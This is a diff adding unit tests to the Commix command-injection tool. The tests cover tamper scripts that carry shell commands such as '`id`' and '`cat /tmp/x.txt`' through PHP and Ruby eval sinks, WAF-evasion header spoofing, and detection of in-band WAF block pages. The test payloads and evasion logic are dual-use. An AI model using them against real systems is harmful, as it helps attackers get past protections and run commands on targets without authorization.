engine in " + payload[:60]) + + def test_the_rewrite_still_throws_where_the_condition_does_not_hold(self): + grammar = settings.EVAL_GRAMMAR + tampered = self._tamper(grammar.halt("1==2")) + self.assertIn("function(){throw new Error()}", tampered) + +class TheOperatorHandsOnTheCommandItWasGiven(unittest.TestCase): + """ + Where a tamper script is in effect, the PHP and Ruby grammars run a command through the backtick + operator, because every script rewriting such a payload is written around it. The operator reads + its own string before the shell is handed anything, and what it reads it spends: 'printf \\141' + reached the shell as 'printf a', a backtick of the command's own closed the operator early, and a + '$' opened a variable that was never set. Each is written for that reading, and the scripts that + take the command back out of the operator read it off again. + """ + COMMAND = "printf '\\141\\045' $HOME `id`" + + def setUp(self): + self.grammar = settings.EVAL_GRAMMAR + self.scripts = dict(settings.TAMPER_SCRIPTS) + settings.TAMPER_SCRIPTS["phpconcat"] = True + + def tearDown(self): + settings.EVAL_GRAMMAR = self.grammar + settings.TAMPER_SCRIPTS.clear() + settings.TAMPER_SCRIPTS.update(self.scripts) + + def _grammar(self, language): + settings.EVAL_GRAMMAR = importlib.import_module("src.core.eval.grammars." + language) + return settings.EVAL_GRAMMAR + + def test_what_the_operator_reads_is_written_for_it(self): + for language, interpolation in (("php", "$"), ("ruby", "#")): + grammar = self._grammar(language) + written = grammar.run(self.COMMAND) + self.assertTrue(written.startswith("`") and written.endswith("`"), language) + inside = written[1:-1] + self.assertNotIn("\\141", inside.replace("\\\\141", ""), language + " left an escape unwritten") + self.assertNotIn("`", inside.replace("\\`", ""), language + " left a backtick unwritten") + self.assertEqual(self.COMMAND, grammar.backtick_command(inside), + language + " does not read back what it wrote") + self.assertNotIn(interpolation, inside.replace("\\" + interpolation, ""), + language + " left its own interpolation unwritten") + + def test_a_script_taking_the_command_out_gets_it_as_it_was_written(self): + grammar = self._grammar("php") + payload = grammar.print_statement("", [self.COMMAND]) + for name, module in (("phpconcat", "src.tamper.eval.php.phpconcat"), + ("phphexname", "src.tamper.eval.php.phphexname")): + tampered = importlib.import_module(module).tamper(payload) + # The call carries the command as a single-quoted literal, where only the quote and the + # backslash are spoken for - so what the operator was written for is off it again. + self.assertIn("printf \\'\\\\141\\\\045\\' $HOME `id`", tampered, + name + " did not hand on the command as it was written") + +class AReplacementStringCarriesWhatItWasGiven(unittest.TestCase): + """ + A sink evaluated by preg_replace()'s "e" modifier fills in the backreferences its replacement is + read as naming before it evaluates anything, and a pattern that captured nothing fills them in + with nothing: a command written "printf '\\141\\142\\143'" reached the sink as "printf '123'", + each backslash and the digit behind it spent on a group that was never there. What arrives has to + be what was written, so the payload is written the way that reading puts it back. + """ + # What is left of a replacement string once the backreferences in it have been filled in, with + # nothing captured to fill them with - which is what the sink evaluates. + READ_AS = r"\\\\|\\\$|\\\d{1,2}|\$\{?\d{1,2}\}?" + + def _as_the_sink_reads_it(self, replacement): + def filled(match): + return {"\\\\": "\\", "\\$": "$"}.get(match.group(0), "") + return re.sub(self.READ_AS, filled, replacement) + + def _tamper(self, payload): + from src.tamper.eval.php import phpregreplace + return phpregreplace.tamper(payload) + + def test_a_payload_arrives_as_it_was_written(self): + written = ["printf '\\141\\142\\143'", + "shell_exec('printf \\'a\\\\b\\'')", + "print(`echo $((5+7))`)", + "`cat /tmp/x.txt`"] + for payload in written: + self.assertEqual(payload, self._as_the_sink_reads_it(self._tamper(payload)), + "did not arrive as written: " + payload) + + def test_a_dollar_sign_that_stands_before_a_digit_arrives_as_one(self): + self.assertEqual("echo $1", self._as_the_sink_reads_it(self._tamper("echo $1"))) + self.assertEqual("echo ${12}", self._as_the_sink_reads_it(self._tamper("echo ${12}"))) + + def test_a_payload_with_nothing_to_carry_is_left_as_it_is(self): + for payload in ("print(`echo ABCDEF`)", "id", "echo $((1+2))"): + self.assertEqual(payload, self._tamper(payload)) + +class ListedDescriptions(unittest.TestCase): + """ + Whatever '--list-tampers' prints for a script has to be the whole sentence the script opens with, + however many lines it was written over - a description listed cut off mid-sentence reads as a + truncated answer from commix rather than as a description that happens to be long. + """ + def _about(self, module): + # Asked of the reader the listing itself uses, not of a second copy of it here - a test with its + # own idea of where the description ends would pass while the listing printed something else. + from src.core.controller import checks + with open(module.__file__.replace(".pyc", ".py"), encoding="utf-8") as handle: + return checks.tamper_description(handle.read()) + + def test_every_script_says_what_it_does_in_the_line_that_is_printed(self): + unfinished = [] + for name, module in sorted(tamper_modules().items()): + about = self._about(module) + if not about: + unfinished.append(name + " (no 'About:' at all)") + elif not about.endswith("."): + unfinished.append(name + " (cut off: ..." + about[-40:] + ")") + self.assertEqual([], unfinished, + "listed description is not a whole sentence: " + ", ".join(unfinished)) diff --git a/tests/test_version.py b/tests/test_version.py new file mode 100644 index 0000000000..44a3c907f9 --- /dev/null +++ b/tests/test_version.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.utils import version + +class HowLongSinceThisCopyWasUpdated(unittest.TestCase): + """ + Read off the files on disk rather than asked of a server, so a run that never reaches the network + still knows how old the copy running it is. + """ + def setUp(self): + self._out = settings.print_data_to_stdout + self._days = version.days_since_update + self.said = [] + settings.print_data_to_stdout = self.said.append + + def tearDown(self): + settings.print_data_to_stdout = self._out + version.days_since_update = self._days + + def answering(self, days): + version.days_since_update = lambda: days + + def written(self): + return settings.strip_ansi_codes("\n".join(str(line) for line in self.said)) + + def test_the_age_is_a_whole_number_of_days(self): + days = version.days_since_update() + self.assertIsInstance(days, int) + self.assertGreaterEqual(days, 0) + + def test_a_copy_within_the_allowance_says_nothing(self): + self.answering(settings.LAST_UPDATE_NAGGING_DAYS) + version.announce_if_outdated() + self.assertEqual("", self.written()) + + def test_a_copy_past_it_says_how_many_days(self): + self.answering(settings.LAST_UPDATE_NAGGING_DAYS + 34) + version.announce_if_outdated() + written = self.written() + self.assertIn(str(settings.LAST_UPDATE_NAGGING_DAYS + 34) + " days ago", written) + self.assertIn("'--update'", written) + + def test_a_copy_that_cannot_say_its_own_age_says_nothing(self): + self.answering(None) + version.announce_if_outdated() + self.assertEqual("", self.written()) + +if __name__ == "__main__": + unittest.main() + +class HowOldTheStoredFindingsWere(unittest.TestCase): + """ + Nothing shown from a session was sent to the target this run, so how old the file it came out of + is, is the only thing that says how much of it still holds. + """ + def setUp(self): + from src.core.controller import checks + self.checks = checks + self._state = (settings.SESSION_FILE_AGE_DAYS, settings.print_data_to_stdout) + self.said = [] + settings.print_data_to_stdout = self.said.append + + def tearDown(self): + (settings.SESSION_FILE_AGE_DAYS, settings.print_data_to_stdout) = self._state + + def written(self): + return settings.strip_ansi_codes("\n".join(str(line) for line in self.said)) + + def test_a_session_written_today_says_nothing(self): + settings.SESSION_FILE_AGE_DAYS = settings.STALE_SESSION_DAYS - 1 + self.checks.announce_stale_session() + self.assertEqual("", self.written()) + + def test_an_old_one_says_how_old_and_what_to_do(self): + settings.SESSION_FILE_AGE_DAYS = 23 + self.checks.announce_stale_session() + written = self.written() + self.assertIn("23 days ago", written) + self.assertIn("'--flush-session'", written) + self.assertIn("'--ignore-session'", written) + + def test_a_run_with_no_session_behind_it_says_nothing(self): + settings.SESSION_FILE_AGE_DAYS = None + self.checks.announce_stale_session() + self.assertEqual("", self.written()) diff --git a/tests/test_waf_evasion.py b/tests/test_waf_evasion.py new file mode 100644 index 0000000000..dc4585b0f1 --- /dev/null +++ b/tests/test_waf_evasion.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import checks +from src.core.requests import headers +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +FINGERPRINT_STATE = ("WAF_EVASION_FINGERPRINT_APPLIED", "BROWSER_LIKE_HEADERS", "WAF_ENABLED", + "WAF_EVASION_CONSENT", "USER_APPLIED_TAMPER", "USER_AGENT_INJECTION", + "VERBOSITY_LEVEL") +OPTIONS_STATE = ("agent", "requestfile", "logfile", "skip_waf", "tamper", "data", "cookie", + "live_cookies", "referer", "host", "chunked") + +class _AFreshRun(unittest.TestCase): + """ + What a run holds about the request it names itself with, put back the way it was found. + """ + def setUp(self): + self._settings = {name: getattr(settings, name) for name in FINGERPRINT_STATE} + self._options = {name: getattr(menu.options, name, None) for name in OPTIONS_STATE} + self._printed = [] + self._print = settings.print_data_to_stdout + settings.print_data_to_stdout = lambda text: self._printed.append(str(text)) + settings.WAF_EVASION_FINGERPRINT_APPLIED = False + settings.BROWSER_LIKE_HEADERS = False + settings.USER_AGENT_INJECTION = None + settings.VERBOSITY_LEVEL = 0 + menu.options.agent = settings.DEFAULT_USER_AGENT + menu.options.requestfile = None + menu.options.logfile = None + + def tearDown(self): + settings.print_data_to_stdout = self._print + for name, value in self._settings.items(): + setattr(settings, name, value) + for name, value in self._options.items(): + setattr(menu.options, name, value) + +class TheRequestStopsNamingTheToolOnceTheProtectionIsAnswered(_AFreshRun): + """ + A filter reading the "User-Agent" has settled what to do with the request before anything it + carries is looked at, so the header is answered first and the payload second. + """ + def test_the_default_header_is_replaced_with_a_browsers_own(self): + self.assertTrue(checks.neutralize_request_fingerprint()) + self.assertNotEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + self.assertIn(menu.options.agent, common_user_agents()) + + def test_the_headers_that_go_with_it_follow(self): + checks.neutralize_request_fingerprint() + self.assertTrue(settings.BROWSER_LIKE_HEADERS) + + def test_it_is_only_done_once(self): + checks.neutralize_request_fingerprint() + chosen = menu.options.agent + self.assertFalse(checks.neutralize_request_fingerprint()) + self.assertEqual(chosen, menu.options.agent) + + def test_a_header_the_user_settled_is_left_as_it_stands(self): + menu.options.agent = "Hello/1.0" + self.assertFalse(checks.neutralize_request_fingerprint()) + self.assertEqual("Hello/1.0", menu.options.agent) + self.assertFalse(settings.BROWSER_LIKE_HEADERS) + + def test_the_header_being_injected_through_is_left_as_it_stands(self): + settings.USER_AGENT_INJECTION = True + self.assertFalse(checks.neutralize_request_fingerprint()) + self.assertEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + self.assertFalse(settings.BROWSER_LIKE_HEADERS) + +class ConsentCarriedOverFromAnEarlierRunStillAnswersIt(_AFreshRun): + """ + The answer is remembered rather than asked again, so a resumed run would otherwise go on naming + the tool to the very protection it was told to get past. + """ + def setUp(self): + _AFreshRun.setUp(self) + settings.WAF_ENABLED = True + settings.WAF_EVASION_CONSENT = True + settings.USER_APPLIED_TAMPER = "" + menu.options.skip_waf = False + menu.options.tamper = None + + def test_the_stored_yes_is_acted_on_without_asking_again(self): + self.assertTrue(checks.waf_evasion_consent()) + self.assertNotEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + + def test_a_stored_no_leaves_the_request_as_it_is(self): + settings.WAF_EVASION_CONSENT = False + self.assertFalse(checks.waf_evasion_consent()) + self.assertEqual(settings.DEFAULT_USER_AGENT, menu.options.agent) + self.assertFalse(settings.BROWSER_LIKE_HEADERS) + +class TheHeadersAreSentAsASet(_AFreshRun): + """ + A browser's "User-Agent" over a "*/*" nothing but a scanner sends, and with no "Accept-Language" + behind it, is still a scanner to anything reading the three together. + """ + def setUp(self): + _AFreshRun.setUp(self) + menu.options.data = None + menu.options.cookie = None + menu.options.live_cookies = None + menu.options.referer = None + menu.options.host = None + menu.options.chunked = False + + def _headers_of_a_request(self): + request = _urllib.request.Request("http://t/a.php?addr=1", method="GET") + headers.do_check(request) + return dict((name.lower(), value) for name, value in request.header_items()) + + def test_a_run_that_names_the_tool_asks_the_way_it_always_has(self): + sent = self._headers_of_a_request() + self.assertEqual(settings.ACCEPT_VALUE, sent[settings.ACCEPT.lower()]) + self.assertNotIn(settings.ACCEPT_LANGUAGE.lower(), sent) + + def test_a_run_that_reads_as_a_browser_asks_the_way_one_does(self): + settings.BROWSER_LIKE_HEADERS = True + sent = self._headers_of_a_request() + self.assertEqual(settings.HTTP_ACCEPT_BROWSER_VALUE, sent[settings.ACCEPT.lower()]) + self.assertEqual(settings.HTTP_ACCEPT_LANGUAGE_BROWSER_VALUE, sent[settings.ACCEPT_LANGUAGE.lower()]) + + def test_a_request_carrying_no_body_names_no_type_for_one(self): + self.assertNotIn(settings.CONTENT_TYPE.lower(), self._headers_of_a_request()) + + def test_a_request_carrying_one_says_what_it_is(self): + request = _urllib.request.Request("http://t/a.php", b"addr=1", method="POST") + headers.do_check(request) + sent = dict((name.lower(), value) for name, value in request.header_items()) + self.assertEqual(settings.DEFAULT_HTTP_CONTENT_TYPE_VALUE, sent[settings.CONTENT_TYPE.lower()]) + +class TheVisitThatKeepsTheSessionIsAnOrdinaryOne(_AFreshRun): + """ + Sent for the session rather than to test anything, so what the evasion turned on is left off it - + a fresh spoofed client address on each of them is the surest way to lose the very session it was + sent to hold, and the target is not the one being evaded. + """ + def setUp(self): + _AFreshRun.setUp(self) + self._script = settings.TAMPER_SCRIPTS["xforwardedfor"] + settings.TAMPER_SCRIPTS["xforwardedfor"] = True + menu.options.chunked = True + menu.options.data = None + menu.options.cookie = None + menu.options.live_cookies = None + menu.options.referer = None + menu.options.host = None + + def tearDown(self): + settings.TAMPER_SCRIPTS["xforwardedfor"] = self._script + _AFreshRun.tearDown(self) + + def _sent(self, **kwargs): + request = _urllib.request.Request("http://t/a.php", b"addr=1", method="POST") + headers.do_check(request, **kwargs) + return dict((name.lower(), value) for name, value in request.header_items()) + + def test_a_request_being_tested_still_carries_what_the_evasion_turned_on(self): + sent = self._sent() + self.assertIn("x-forwarded-for", sent) + self.assertEqual("chunked", sent[settings.TRANSFER_ENCODING.lower()]) + + def test_the_visit_that_keeps_the_session_carries_none_of_it(self): + sent = self._sent(safe=True) + self.assertNotIn("x-forwarded-for", sent) + self.assertNotIn(settings.TRANSFER_ENCODING.lower(), sent) + + def test_it_still_carries_what_the_session_is_held_by(self): + menu.options.cookie = "PHPSESSID=abc" + sent = self._sent(safe=True) + self.assertEqual("PHPSESSID=abc", sent[settings.COOKIE.lower()]) + self.assertIn(settings.USER_AGENT.lower(), sent) + +""" +The browser User-Agent values switch '--random-agent' draws from. +""" +def common_user_agents(): + from src.utils import common + return common.load_list_from_file(settings.USER_AGENT_LIST, "user-agent list") + +if __name__ == '__main__': + unittest.main() + +# eof diff --git a/tests/test_waf_inband.py b/tests/test_waf_inband.py new file mode 100644 index 0000000000..bc4b5020a8 --- /dev/null +++ b/tests/test_waf_inband.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from src.utils import settings +from src.core.controller import checks +from src.core.parse import cmdline as menu + +ORDINARY = "" + ("the page this target answers with, " * 40) + "" +REFUSAL = "Hack attempt detected!" + +class _Answer(object): + """ + Only what reads a page off a response is used here, which is the body and nothing else. + """ + def __init__(self, body): + self.body = body.encode(settings.DEFAULT_CODEC) + self.headers = {} + + def read(self): + return self.body + + def info(self): + return {} + + def getheader(self, *args, **kwargs): + return None + +class ARefusalServedAsAnAnswerIsStillABlock(unittest.TestCase): + """ + A filter does not have to answer with a status code. One that answers in-band serves its own + short page with a 200 and the application below is never reached - which anything reading the + code alone takes for an ordinary answer, and goes on sending payloads that were already refused. + """ + def setUp(self): + self._state = (settings.WAF_ENABLED, settings.WAF_CHECK_BASELINE, settings.ORIGINAL_PAGE, + settings.WAF_IDENTIFIED, settings.HOST_INJECTION, menu.options.skip_waf, + settings.TARGET_NETLOC) + self._out = settings.print_data_to_stdout + self.said = [] + settings.print_data_to_stdout = self.said.append + settings.WAF_ENABLED = False + settings.WAF_IDENTIFIED = None + settings.HOST_INJECTION = False + settings.TARGET_NETLOC = "" + menu.options.skip_waf = False + settings.WAF_CHECK_BASELINE = ORDINARY + settings.ORIGINAL_PAGE = "" + + def tearDown(self): + (settings.WAF_ENABLED, settings.WAF_CHECK_BASELINE, settings.ORIGINAL_PAGE, + settings.WAF_IDENTIFIED, settings.HOST_INJECTION, menu.options.skip_waf, + settings.TARGET_NETLOC) = self._state + settings.print_data_to_stdout = self._out + + def test_a_page_that_does_not_resemble_the_targets_own_is_one(self): + self.assertTrue(checks.detect_waf_in_page(_Answer(REFUSAL))) + self.assertTrue(settings.WAF_ENABLED) + self.assertTrue(any("WAF/IPS" in str(line) for line in self.said)) + + def test_the_targets_own_page_is_not(self): + self.assertFalse(checks.detect_waf_in_page(_Answer(ORDINARY))) + self.assertFalse(settings.WAF_ENABLED) + + def test_a_page_that_merely_moved_a_little_is_not(self): + self.assertFalse(checks.detect_waf_in_page(_Answer(ORDINARY.replace("", "

1

")))) + self.assertFalse(settings.WAF_ENABLED) + + def test_nothing_is_read_into_it_where_the_check_was_turned_off(self): + menu.options.skip_waf = True + self.assertFalse(checks.detect_waf_in_page(_Answer(REFUSAL))) + + def test_one_already_found_is_not_found_again(self): + settings.WAF_ENABLED = True + self.assertFalse(checks.detect_waf_in_page(_Answer(REFUSAL))) + self.assertEqual([], self.said) + + def test_nothing_to_compare_against_answers_nothing(self): + settings.WAF_CHECK_BASELINE = "" + self.assertFalse(checks.detect_waf_in_page(_Answer(REFUSAL))) + + def test_what_is_not_a_response_answers_nothing(self): + for value in (None, False, True): + self.assertFalse(checks.detect_waf_in_page(value)) + +class TheDelayIsWrittenAsAWholeNumber(unittest.TestCase): + """ + It goes into the payload's own arithmetic, which a POSIX shell evaluates over integers alone - a + fractional second there is a syntax error rather than a delay. + """ + def test_the_option_takes_an_integer(self): + option = menu.parser.get_option("--time-sec") + self.assertEqual("int", option.type) + +if __name__ == '__main__': + unittest.main() + +# eof